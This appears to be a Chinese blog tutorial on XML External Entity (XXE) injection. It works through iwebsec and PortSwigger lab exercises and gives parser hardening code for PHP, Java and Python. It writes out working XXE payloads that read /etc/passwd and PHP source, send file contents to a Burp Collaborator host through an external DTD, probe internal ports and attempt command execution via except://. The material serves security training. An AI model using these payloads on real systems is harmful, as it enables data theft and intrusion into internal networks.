iwebsec靶场(XXE漏洞)

该文详细介绍了XML外部实体注入(XXE)漏洞的基础知识,包括XML的结构和DTD,接着阐述了XXE的定义、利用方式,特别是通过靶场进行的实验,如直打、DNSLog和盲打。同时,文中提供了针对XXE的防御策略,如PHP、Java和Python的代码示例,并列举了多个BurpSuite靶场实验来演示XXE的利用过程。此外,文章还涉及了XXE在内网探测和应用攻击中的应用场景。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

iwebsec靶场(XXE漏洞)

一、XML基础知识

  • 可扩展标记语言 eXtensible Markup Language

  • XML用途

    • 配置文件

      请添加图片描述

    • 交换数据

      请添加图片描述

  • XML内容

    请添加图片描述

  • XML格式要求

    • XML文档必须有根元素
    • XML文档必须有关闭标签
    • XML标签对大小写敏感
    • XML元素必须被正确的嵌套
    • XML属性必须加引号
  • XML格式校验

    • 文档类型定义 DTD(Document Type Definition )

    • DTD内容之元素 ELEMENT

      请添加图片描述

    • DTD内容之实体 ENTITY

      请添加图片描述

    • 实体ENTITY的使用—内部实体INTERNAL ENTITY

      请添加图片描述

    • 实体ENTITY的使用—外部实体EXTERNAL ENTITY

      请添加图片描述

    • 外部实体引用:协议

      协议使用方式
      filefile:///etc//passwd
      phpphp://filter/read=convert.base64-encode/resource=index.p
      httphttp//:wuya.com/evil.dtd
  • 完整的XML内容
    请添加图片描述

二、XXE

  • XML外部实体注入 XML External Entity Injection
  • 定义:如果Web应用的脚本代码没有限制XML引入外部实体,从而导致用户可以插入一个外部实体,并且其中的内容会被服务器端执行,插入的代码可能导致任意文件读取系统命令执行内网端口探测攻击内网网站等危害

三、XXE利用方式

1.xxe靶场:直打
  • 确定使用XML传输数据(抓包可得)
  • 发送到Repeater
  • 添加DTD,引用外部问文档
  • Send得到响应
2.DNSLog:盲打

请添加图片描述

3.http接口参数,写入文件:盲打

请添加图片描述

四、XXE防御

  • **php:**libxml_disable_entity_loader(true);

  • **Java:**DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();

    ​ dbf.setExpandEntityReferences(false);

  • **Python:**from lxml import etreexmlData =etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  • 过滤用户提交的XML数据:

    • "’
    • '(two apostrophe)
    • “”
    • <>]
    • ]>
    • ]]>>
    • /–>
    • –>

五、burp靶场XXE实验

  • **网址:**https://portswigger.net/web-security/xxe/blind

  • **解析原理:**首先 burp 发送 payload 给目标程序,以上图为例,param 存在漏洞注入点,其 payload 为外部的服务器 url 地址,随后目标程序若进行解析或则引用调用等,则会去访问这个地址,而这个地址是我们的 collaborator 服务器,所以 collaborator 会记录其访问的请求信息以及响应信息和 dns 的信息。而当 burp 发送 payload 后,就会不断的去问 collaborator 服务器,你收到我发送的 payload 交互了么,这时 collaborator 就会将交互信息告诉 burp,burp 最后进行报告

    请添加图片描述

    请添加图片描述

  • Collaborator 使用

    安装

    请添加图片描述

    设置默认服务器

    请添加图片描述

    生成外带payloads

    请添加图片描述

    zehqaxtzw82vy0108i2icvvscji96y.burpcollaborator.net
    

    number to generate 是生成的数量,下面的 poll now 按钮是轮询时间,点击 copy to clipboard 复制其提供的 payload url 后,就可以直接在要测试的点粘贴即可,如果目标服务器有交互,则 collaborator 会有响应信息。且这个 payload url 每次复制其二级域名都会随机生成

1.Lab: Blind XXE with out-of-band interaction
  • 开启实验环境

    请添加图片描述

  • 转到 Burp 菜单,然后启动Burp Collaborator 客户端

    请添加图片描述

  • 将唯一的 Burp Collaborator 有效负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态

    rmhe6xbcgjl5h9j6uj1n5396txz0np.burpcollaborator.net
    

    请添加图片描述

  • 构造恶意DTD

    <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://rmhe6xbcgjl5h9j6uj1n5396txz0np.burpcollaborator.net"> ]>
    
  • 使用BP进行抓包,并发送到重放模块

    请添加图片描述
    请添加图片描述

  • 添加恶意DTD,并将productId的参数修改为&xxe;

    请添加图片描述

  • 重放请求包

    请添加图片描述

2.Lab: Blind XXE with out-of-band interaction via XML parameter entities
  • 启动实验环境

    请添加图片描述

  • 转到 Burp 菜单,然后启动Burp Collaborator 客户端

    请添加图片描述

  • 将唯一的 Burp Collaborator 有效负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态

    7gofdckenclf70f9udsqtclqhhn7bw.burpcollaborator.net
    

    请添加图片描述

  • 构造恶意DTD

    <!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://7gofdckenclf70f9udsqtclqhhn7bw.burpcollaborator.net"> %xxe; ]>
    
  • 使用BP进行抓包,并发送到重放模块

    请添加图片描述

  • 添加恶意DTD

    请添加图片描述

  • 重放请求包

    请添加图片描述

3.Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD
  • 启动实验环境

    请添加图片描述

  • 转到 Burp 菜单,然后启动Burp Collaborator 客户端

    请添加图片描述

  • 将唯一的 Burp Collaborator 有效负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态

    ryt7a4b6hq1uvma1ze1kl3qvpmvcj1.burpcollaborator.net
    

    请添加图片描述

  • 单击Go to exploit server,将恶意DTD添加到body

    <!ENTITY % file SYSTEM "file:///etc/hostname">
    <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://ryt7a4b6hq1uvma1ze1kl3qvpmvcj1.burpcollaborator.net/?x=%file;'>">
    %eval;
    %exfil;
    

    请添加图片描述
    请添加图片描述

  • 点击View exploit,生成恶意DTD的URL

    https://exploit-0a7c00cb0432cb35c0c6818101da00ae.web-security-academy.net/exploit
    

    请添加图片描述

  • 使用BP进行抓包,并发送到重放模块

    请添加图片描述

  • 添加恶意DTD

    <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a7c00cb0432cb35c0c6818101da00ae.web-security-academy.net/exploit"> %xxe;]>
    

    请添加图片描述

  • 重放请求包

    请添加图片描述

4.Lab: Exploiting blind XXE to retrieve data via error messages
  • 启动实验环境

    请添加图片描述

  • 单击Go to exploit server,将恶意DTD添加到body,点击View exploit

    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
    %eval;
    %exfil;
    

    请添加图片描述
    请添加图片描述

  • 生成恶意DTD的URL

    https://exploit-0ac8000a03da85a3c0b35dd30165008c.web-security-academy.net/exploit
    

    请添加图片描述

  • 使用BP进行抓包,并发送到重放模块

    请添加图片描述

  • 添加恶意DTD

    <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ac8000a03da85a3c0b35dd30165008c.web-security-academy.net/exploit"> %xxe;]>
    

    请添加图片描述

  • 重放请求包,获得/etc/passwd文件信息

    请添加图片描述

5.Lab: Exploiting XXE to retrieve data by repurposing a local DTD
  • 启动实验环境

    请添加图片描述

  • 使用BP抓包,并发送到重放模块

    请添加图片描述

  • 添加恶意DTD

    <!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
    '>
    %local_dtd;
    ]>
    

    请添加图片描述

  • 重放请求包,获得/etc/passwd文件信息

    请添加图片描述

六、靶场地址:http://iwebsec.com/

七、XXE漏洞文件读取

1.查看源码
  • 在代码中,file_get_contents函数读取php://input传入的参数,被loadxml函数中调用并且输出了username值,从而导致XXE漏洞的产生

    <?php
    
      require_once('../header.php');
    
      ?>
    <html>
    	<head>
    		<title>XXE漏洞</title>
    	</head>
    	<h2>XXE漏洞</h2>
    		<div class="alert alert-success">
    			<p>input xml</p>
    		</div>
    	<body>
      <?php
    libxml_disable_entity_loader (false);
    
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    if($xmlfile){
    	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    
    	$creds = simplexml_import_dom($dom);
    	$username = $creds->username;
    	$password = $creds->password;
    }
    	else{
    		exit();
    	}
    ?>
    		<table class='table table-striped'>
     
    		<?php
    		echo 'hello ' . $username;
    		
    		echo "</table>";
    	
      
    ?>
    
2.构造payload
  • 利用file://伪协议读取本地文件来加载外部实体(entity),变量username和password需要定义在xml参数中,在xml中使用element元素声明

    <!ELEMENT username ANY>
    <!ELEMENT password ANY>
    
  • 读取文件

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE creds[
    	<!ELEMENT username ANY>
    	<!ELEMENT password ANY>
    	<!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <creds>
    	<username>&xxe;</username>
    	<password>glc</password>
    </creds>
    

    请添加图片描述

  • 获取网站源码

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE creds[
    	<!ELEMENT username ANY>
    	<!ELEMENT password ANY>
    	<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
    ]>
    <creds>
    	<username>&xxe;</username>
    	<password>glc</password>
    </creds>
    

    请添加图片描述
    请添加图片描述

八、XEE漏洞内网探测

  • 利用XXE漏洞进行内网探测,如果端口开启那么请求会很快返回,如果端口关闭,请求会非常慢

    #探测22端口
    
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE creds[
    	<!ELEMENT username ANY>
    	<!ELEMENT password ANY>
    	<!ENTITY xxe SYSTEM "http://127.0.0.1:22">
    ]>
    <creds>
    	<username>&xxe;</username>
    	<password>glc</password>
    </creds>
    

    请添加图片描述

九、XXE漏洞内网应用攻击

  • 利用xxe漏洞可以调用except://伪协议调用系统命令,需要PHP环境支持except扩展模块被加载,这样就可以利用它执行系统命令

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE creds[
    	<!ELEMENT username ANY>
    	<!ELEMENT password ANY>
    	<!ENTITY xxe SYSTEM "except://whoami">
    ]>
    <creds>
    	<username>&xxe;</username>
    	<password>glc</password>
    </creds>
    

    请添加图片描述

    如上所示当前iwebsec服务器的except扩展模块这个可执行漏洞并不存在,故而无法通过此XXE漏洞执行命令

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

果粒程1122

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值